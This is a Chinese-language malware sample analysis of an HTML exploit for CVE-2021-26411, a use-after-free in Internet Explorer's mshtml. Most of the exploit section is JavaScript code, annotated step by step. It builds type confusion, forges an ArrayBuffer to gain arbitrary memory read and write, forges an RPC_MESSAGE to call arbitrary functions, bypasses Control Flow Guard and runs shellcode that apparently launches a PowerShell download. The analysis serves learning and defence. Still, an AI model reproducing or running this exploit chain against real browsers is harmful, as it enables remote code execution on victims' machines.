CVE-2021-26411 漏洞利用樣本分析
概述
該樣本是利用 CVE-2021-26411 漏洞進行攻擊的 html 文件,攻擊目標是 ie 和 edge 瀏覽器,其最終的目的是執(zhí)行 shellcode 啟動 powershell 進程進行下載行為。關于 CVE-2021-26411 漏洞的原因參考文章 【1】已經(jīng)講的比較精細,這里就不在贅述,簡要描述是由于 Internet Explorer 的 mshtml 組件中存在一個釋放后使用的缺陷。當用戶訪問了一個惡意頁面時,會觸發(fā)屬性對象 nodeValue 的 valueOf 回調(diào)。在回調(diào)期間,手動調(diào)用 clearAttributes(),導致 nodeValue 保存的 BSTR 被提前釋放。這樣就會造成內(nèi)存破壞和遠程代碼執(zhí)行。關于利用方式參考文章【1】【2】講的略微精簡,所以決定在這里仔細分析一下以供像我這樣的漏洞初學者參考。樣本分析主要包括漏洞利用部分和 shellcode 部分。
?
分析環(huán)境
Windows 10 x64 1607
IE11,Windbg x86,IDA 7.5
mshtml.dll(11.0.14393.0),jscript9.dll(11.0.14393.0)
?
樣本分析
樣本的初始內(nèi)容是一段混淆&加密的 js。

加密算法使用的是 AES(CBC)。

js 解密后的內(nèi)容除去 shellcode 基本與參考文章【3】中公布的漏洞利用代碼一致,只是做了一些精簡。

漏洞利用分析
為了便于對利用原理的理解,我使用了參考文章【3】中的較規(guī)范的 js 代碼進行分析。
利用過程
1, 利用 CVE-2021-26411 的 UAF 造成類型混淆
2, 利用類型混淆泄露對象元數(shù)據(jù),使用泄露對象的元數(shù)據(jù)偽造一個起始地址為 0,大小為 0xffffffff 的 ArrayBuffer 對象
3, 利用偽造的 ArrayBuffer 對象實現(xiàn)任意讀寫原語
4, 使用任意讀原語實現(xiàn)任意對象地址泄露原語
5, 偽造 RPC_MESSAGE 為任意函數(shù)調(diào)用做準備
6, bypass CFG
7, 執(zhí)行 shellcode
造成類型混淆
var godvar arr = [{}]var fake = new ArrayBuffer(0x100)var abf = new ArrayBuffer(0x20010)var alloc = alloc2()var hd0 = document.createAttribute('handle')var hd1 = document.createAttribute('handle')var hd2var element = document.createElement('xxx')var attr1 = document.createAttribute('yyy')
attr1.nodeValue = { ? ?valueOf: function() {
? ? ? ?hd1.nodeValue = (new alloc1()).nodeValue
? ? ? ?element.clearAttributes()
? ? ? ?hd2 = hd1.cloneNode()
? ? ? ?element.setAttribute('yyy', 1337)
? ?}
}
element.setAttributeNode(attr1)
element.setAttribute('zzz', '0'.repeat((0x20010 - 6) / 2))
element.removeAttributeNode(attr1)
hd0.nodeValue = alloc
element.removeAttributeNode(attr1)//觸發(fā) CVE-2021-26411 漏洞
執(zhí)行 valueOf 的調(diào)用棧,執(zhí)行重寫 valueOf 的原因和 CVE-2016-0189 一樣,均是需要進行類型轉(zhuǎn)換。

element.removeAttributeNode(attr1) 開始時的 element,其中 attr2.nodeValue 是長度為 0x2000a 的 BSTR,為什么它占用的空間是 0x20010,是因為 BSTR 還包括字符串前長度為 4 字節(jié)的長度域和尾部 2字節(jié)的 \x00。

element.clearAttributes()//清除 AttributeArray 中的屬性元素,釋放 attr2.nodeValue 所占空間
element.clearAttributes() 結(jié)束后,AttributeArray 中的無效元素將被其最后一個元素 attr2.nodeValue 覆蓋,而 attr2.nodeValue 所占空間也被釋放,被釋放的緣由是參考文章【1】【3】中提到的極長 BSTR (大于 0x8000)。

hd2 = hd1.cloneNode()//重新占用 attr2.nodeValue(BSTR) 釋放的內(nèi)存空間,防止第一次 CBase::DeleteAt 時崩潰
hd2 = hd1.cloneNode() 結(jié)束后,原 attr2.nodeValue 所占空間將被重新占用,重新占用的目的有兩個:
1, 為了避免在第一次 CBase::DeleteAt 刪除 [2] attr1 時 CAttrValue::Free 釋放無效內(nèi)存而崩潰
2, 為了在 CAttrValue::Free 將其釋放后繼續(xù)持有這塊內(nèi)存的地址從而形成懸垂指針

element.setAttribute('yyy', 1337)//避免第二次 CBase::DeleteAt 時崩潰
element.setAttribute(‘yyy’, 1337) 結(jié)束后,attr1.nodeValue 被重新設置,重新設置的目的是為了避免在第二次 CBase::DeleteAt 刪除 [1] attr1.nodeValue 時對象解引用失敗而崩潰。

element.removeAttributeNode(attr1) 結(jié)束后雖然 attr2.nodeValue(0874035c) 被釋放,但是 hd2.nodeValue (BSTR)仍然持有這塊內(nèi)存的地址。
hd0.nodeValue = alloc//重新占用 attr2.nodeValue(BSTR) 釋放的內(nèi)存空間//這樣 hd2.nodeValue 就和 hd0.nodeValue 占用相同的空間
hd0.nodeValue = alloc 結(jié)束后 attr2.nodeValue 將被 hd0.nodeValue 重新占用并且與 hd2.nodeValue 形成類型混淆。
hd0.nodeValue 類型值為 0xc safeArray。

hd2.nodeValue 類型值為 0x8 BSTR。

泄露對象元數(shù)據(jù),偽造 ArrayBuffer
var leak = new Uint32Array(dump(hd2.nodeValue))var pAbf = leak[6]var pArr = leak[10]var VT_I4 = 0x3var VT_DISPATCH = 0x9var VT_BYREF = 0x4000var bufArr = new Array(0x10)var fakeArr = new Uint32Array(fake)for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))flush()var ref = new VBArray(hd0.nodeValue)for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = nullsetData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))flush()
ref = new VBArray(hd0.nodeValue)var vt = ref.getItem(1)var gc = ref.getItem(2)var bs = ref.getItem(3)
ref = nullfor (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
function dump(nv) { ? ?var ab = new ArrayBuffer(0x20010) ? ?var view = new DataView(ab) ? ?for (var i = 0; i < nv.length; ++i)
? ? ? ?view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) ? ?return ab
}var leak = new Uint32Array(dump(hd2.nodeValue))var pAbf = leak[6]//fakevar pArr = leak[10]//arr
dump 函數(shù)以 hd2.nodeValue 為參數(shù),使用 string 對象方法 charCodeAt 獲取 hd2.nodeValue(0874035c) 處的數(shù)據(jù),然后再以 uint32 視圖泄露 fake 對象和 arr 對象的地址。

function Data(type, value) { ? ?this.type = type ? ?this.value = value
}function setData(i, data) { ? ?var arr = new Uint32Array(abf)
? ?arr[i * 4] = data.type
? ?arr[i * 4 + 2] = data.value}for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
setData 函數(shù)將 fake 對象的元數(shù)據(jù)的地址填充到 abf ArrayBuffer 中。

abf ArrayBuffer。

function flush() {
? ?hd1.nodeValue = (new alloc1()).nodeValue
? ?hd2.nodeValue = 0
? ?hd2 = hd1.cloneNode()
}
flush 函數(shù)再將 abf ArrayBuffer 中的數(shù)據(jù)刷新到 hd2.nodeValue(0874035c)。

var ref = new VBArray(hd0.nodeValue)for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
使用 hd0.nodeValue(safeArray) 泄露 fake 對象的元數(shù)據(jù)。

setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))//0892aea0setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))//0892aea4setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))//0892aebcflush()
ref = new VBArray(hd0.nodeValue)var vt = ref.getItem(1)//vftablevar gc = ref.getItem(2)//dtvar bs = ref.getItem(3)//buffer
繼續(xù)使用 hd0.nodeValue(safeArray) 泄露 fake.ArrayBuffer 的元數(shù)據(jù)。

for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
使用泄露的 fake 對象的元數(shù)據(jù)在 fake.ArrayBuffer.buffer 中偽造對象,偽造的對象是一個起始地址為 0,大小為 0xffffffff 的 ArrayBuffer 對象。

實現(xiàn)任意讀寫原語
setData(1, new Data(VT_DISPATCH, bs))flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
使用偽造的 ArrayBuffer 對象實現(xiàn)任意讀寫對象 god。
以 god 對象實現(xiàn)任意讀。
function read(addr, size) { ? ?switch (size) { ? ? ? ?case 8: ? ? ? ? ? ?return god.getUint8(addr) ? ? ? ?case 16: ? ? ? ? ? ?return god.getUint16(addr, true) ? ? ? ?case 32: ? ? ? ? ? ?return god.getUint32(addr, true)
? ?}
}
以 god 對象實現(xiàn)任意寫。
function write(addr, value, size) { ? ?switch (size) { ? ? ? ?case 8: ? ? ? ? ? ?return god.setUint8(addr, value) ? ? ? ?case 16: ? ? ? ? ? ?return god.setUint16(addr, value, true) ? ? ? ?case 32: ? ? ? ? ? ?return god.setUint32(addr, value, true)
? ?}
}
任意對象地址泄露原語
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10function addrOf(obj) {
? ?arr[0] = obj ? ?return read(pArr, 32)
}
addrOf 將對象地址存儲在 arr[0],然后讀取值。
偽造 RPC_MESSAGE
var map = new Map()var jscript9 = getBase(read(addrOf(map), 32))var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')var msvcrt = getDllBase(jscript9, 'msvcrt.dll')var ntdll = getDllBase(msvcrt, 'ntdll.dll')var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')var xyz = document.createAttribute('xyz')var paoi = addrOf(xyz)var patt = read(addrOf(xyz) + 0x18, 32)var osf_vft = aos()var msg = initRpc()var rpcFree = rpcFree()
偽造 RPC_MESSAGE 之前需要先調(diào)用 rpcrt4!I_RpcTransServerNewConnection 以獲得 OSF_SCALL_Vftable,OSF_SCALL_Vftable 最終將被設置到 RPC_MESSAGE->Handle 中。而 I_RpcTransServerNewConnection 和后續(xù) rpcrt4!NdrServerCall2 的調(diào)用都是通過偽造 Attribute 進行的。
var xyz = document.createAttribute('xyz')var paoi = addrOf(xyz)//0bd01060var patt = read(addrOf(xyz) + 0x18, 32)//0512c1e0
創(chuàng)建 xyz 作為偽造 Attribute 的目標對象。
function aos() { ? ?var baseObj = createBase() ? ?var addr = baseObj.addr + baseObj.size
? ?var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection') ? ?prepareCall(addr, I_RpcTransServerNewConnection) ? ?return read(read(call(addr)-0xf8, 32), 32)
}var osf_vft = aos()//獲得 OSF_SCALL_Vftable
偽造 Attribute,這里偽造的 Attribute 只用在 I_RpcTransServerNewConnection 調(diào)用,調(diào)用 NdrServerCall2 時將會重新構(gòu)造。
function prepareCall(addr, func) { ? ?var buf = createArrayBuffer(cattr.size()) ? ?var vft = read(patt, 32)//獲得 xyz.Attribute 的虛表地址 vft
? ?memcpy(addr, patt, cbase.size())//復制 xyz.Attribute 的元數(shù)據(jù)到 addr
? ?memcpy(buf, vft, cattr.size())//復制虛表到 buf
? ?cbase.set(addr, 'pvftable', buf)//設置假虛表指針(buf)到偽造的 Attribute
? ?cattr.set(buf, 'normalize', func)//設置目的函數(shù)地址覆蓋假虛表中 normalize 函數(shù)的地址}prepareCall(addr, I_RpcTransServerNewConnection)//偽造 Attribute
這里偽造的 Attribute 與原 Attribute 只有虛表指針不同。
使用目的函數(shù)地址替換假虛表中 normalize 函數(shù)的地址,這樣調(diào)用 xyz.normalize() 函數(shù)便可以執(zhí)行目的函數(shù),normalize 函數(shù)地址對比。
function call(addr) { ? ?var result = 0
? ?write(paoi + 0x18, addr, 32)//將 xyz 的 Attribute 指針修改為偽造的 Attribute(65172dc)
? ?try {
? ? ? ?xyz.normalize()//調(diào)用目標函數(shù)
? ?} catch (error) {
? ? ? ?result = error.number
? ?} ? ?write(paoi + 0x18, patt, 32)//恢復 xyz 的 Attribute 指針
? ?return result
}read(read(call(addr)-0xf8, 32), 32)//獲得 OSF_SCALL_Vftable
調(diào)用方式是先將 xyz 的 Attribute 指針修改為偽造 Attribute 的地址,然后調(diào)用 xyz.normalize(),調(diào)用完再恢復 xyz 的 Attribute 指針。
var msg = initRpc()//偽造 RPC_MESSAGE 作為 rpcrt4!NdrServerCall2 參數(shù)使用
initRpc() 的內(nèi)容比較龐大這里就不展開說明,這里用一張圖說明其構(gòu)建的 RPC_MESSAGE 主要結(jié)構(gòu),其中 RPC_MESSAGE 也是偽造的 Attribute,其虛表的 0x28c 處是 xyz.normalize() 執(zhí)行的 NdrServerCall2 函數(shù)的地址。
bypass CFG
function call2(func, args) { ? ?readyRpcCall(func)//設置目的函數(shù)地址到 Target Func
? ?var buffer = setArgs(args)//設置目的函數(shù)參數(shù)
? ?call(msg)
? ?map.delete(buffer) ? ?return callRpcFreeBuffer()
}function killCfg(addr) { ? ?var cfgobj = new CFGObject(addr) ? ?if (!cfgobj.getCFGValue()) return
? ?var guard_check_icall_fptr_address = cfgobj.getCFGAddress() ? ?var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet') ? ?var tmpBuffer = createArrayBuffer(4) ? ?call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) ? ?write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) ? ?call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
? ?map.delete(tmpBuffer)
}killCfg(rpcrt4)
構(gòu)建完 RPC_MESSAGE 后只需將想要調(diào)用的函數(shù)的地址放在上圖中的 Target Func 處并將函數(shù)參數(shù)放在 ArgementBuffer 處,然后使用 xyz.normalize() 即可執(zhí)行目的函數(shù)。但是由于 rpcrt4!Invoke 在執(zhí)行目標函數(shù)之前會進行 CFG Check,這樣只能調(diào)用在 CFGBitmap 中的函數(shù),想調(diào)用位于任意位置的 shellcode 就需要 bypass CFG。
bypass 的方法是將 RPCRT4!__guard_check_icall_fptr 中保存的負責進行 CFG Check 的函數(shù)指針由 ntdll!LdrpValidateUserCallTarget 替換為 ntdll!KiFastSystemCallRet。
執(zhí)行 shellcode
var shellcode = new Uint8Array([252,232,130,0...])var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000var tmpBuffer = createArrayBuffer(4)call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])writeData(msi, shellcode)call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])var result = call2(msi, [])
加載 msi.dll 模塊到進程中,將 shellcode 寫入距 msi.dll 基址 0x5000 的位置,設置內(nèi)存屬性后執(zhí)行之。
shellcode 分析
shellcode 通過在 kernel32.dll 模塊導出表中查找 WinExec 函數(shù)的地址,然后使用其執(zhí)行了命令行。
最終執(zhí)行了一段 powershell 腳本執(zhí)行繼續(xù)執(zhí)行下載動作。
?